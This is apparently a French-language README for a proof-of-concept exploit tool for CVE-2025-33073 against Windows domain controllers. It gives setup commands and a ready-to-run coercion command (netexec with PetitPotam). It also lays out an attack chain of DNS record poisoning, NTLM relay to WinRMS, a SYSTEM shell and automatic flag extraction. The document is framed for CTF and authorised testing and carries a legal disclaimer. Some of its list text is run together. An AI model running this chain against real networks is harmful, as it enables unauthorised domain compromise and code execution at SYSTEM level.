
Outil d'exploitation universel pour CVE-2025-33073 ciblant les contrôleurs de domaine Windows disposant de privilèges DNSAdmins et de WinRM activé.

Outil d'exploitation universel pour CVE-2025-33073 ciblant les contrôleurs de domaine Windows avec privilèges DNSAdmins et WinRM activé.
CVE-2025-33073 est une vulnérabilité critique qui permet aux attaquants d'obtenir une exécution de code au niveau SYSTEM sur les contrôleurs de domaine Windows grâce à une combinaison de :
Ce PoC fournit un framework d'exploitation universel et automatisé, compatible avec n'importe quel domaine, n'importe quel nom d'utilisateur et n'importe quel environnement CTF.
# Required tools
sudo apt-get update
sudo apt-get install -y python3 python3-pip netcat-openbsd dnsutils
# Python dependencies
pip3 install impacket netexec
# Clone krbrelayx
git clone https://github.com/dirkjanm/krbrelayx
# Clone this repository
git clone https://github.com/uziii2208/CVE-2025-33073
cd CVE-2025-33073
# Make exploit executable
chmod +x exploit.sh
# Verify tools installation
./exploit.sh # Will check all dependencies
./exploit.sh
Le script demandera :
Terminal 1 - Exécutez l'exploit :
./exploit.sh
# Follow the interactive prompts
# Wait for: "[!] RELAY READY! OPEN NEW TERMINAL → PASTE COERCE COMMAND!"
Terminal 2 - Exécutez la commande de coercition (copiez-la depuis la sortie du Terminal 1) :
nxc smb 192.168.1.10 -u 'username' -p 'password' \
-M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.corp.local
Résultat :
Le script recherche et extrait automatiquement :
*flag*.txt*root*.txt*user*.txtproof.txtEmplacement : C:\Users\*\Desktop\
Toutes les sorties sont enregistrées dans : /0pwn_exploit_<TIMESTAMP>/
relay.log - Sortie du serveur de relais NTLMdns.log - Journaux des opérations DNSshell_output.log - Commandes shell et flags extraits1. DNS Poisoning (krbrelayx.dnstool)
└─> Modify/Create DNS record pointing to attacker IP
2. NTLM Relay Server (ntlmrelayx.py)
└─> Listen for incoming NTLM authentication
3. Coercion (nxc + PetitPotam)
└─> Force DC to authenticate to attacker IP
4. Relay → WinRMS
└─> Relay authentication to target WinRMS
5. SYSTEM Shell
└─> Execute commands as SYSTEM
6. Auto Flag Extraction
└─> Search and extract all flags
Modifiez la variable LONGHOST dans exploit.sh :
LONGHOST="localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA"
Modifiez la fonction run_shell_commands() pour rechercher différents modèles de fichiers :
# Add custom patterns here
echo "powershell \"Get-ChildItem -Path 'C:\\Users\\*\\Desktop' -Include '*custom*.txt' ...\""
Ce PoC est fourni pour :
L'accès non autorisé à des systèmes informatiques est illégal.
net group "DNSAdmins" /domainping <DC_IP>nxc smb <DC_IP> -u username -p passwordwinrm quickconfigshell_output.log pour les erreursnc -zv 127.0.0.1 <SHELL_PORT>run_shell_commands()/0pwn_exploit_1234567890/
├── relay.log # NTLM relay server output
├── dns.log # DNS operation details
└── shell_output.log # Extracted flags & command output
# View relay events
grep "SYSTEM SHELL" /0pwn_exploit_*/relay.log
# Extract all flags
grep "===" /0pwn_exploit_*/shell_output.log -A 10
# Check DNS operations
cat /0pwn_exploit_*/dns.log
[Démo et captures d'écran] - [Bientôt disponible]

0pwn (uziii2208) - Concept original et recherche Amélioré par IA - améliorations v1.0 et extraction automatique des flags
Licence MIT - Voir le fichier LICENSE pour plus de détails
AVIS LÉGAL :
Ce logiciel est fourni uniquement à des fins éducatives et de tests de sécurité autorisés. L'accès non autorisé à des systèmes informatiques est illégal et puni par la loi.
En utilisant cet outil, vous acceptez :
Les contributions sont les bienvenues ! Veuillez soumettre des issues et des pull requests.
Pour les problèmes, questions ou améliorations :
Statut : ✅ Testé et vérifié Version : 1.0 (Universelle) Dernière mise à jour : 2025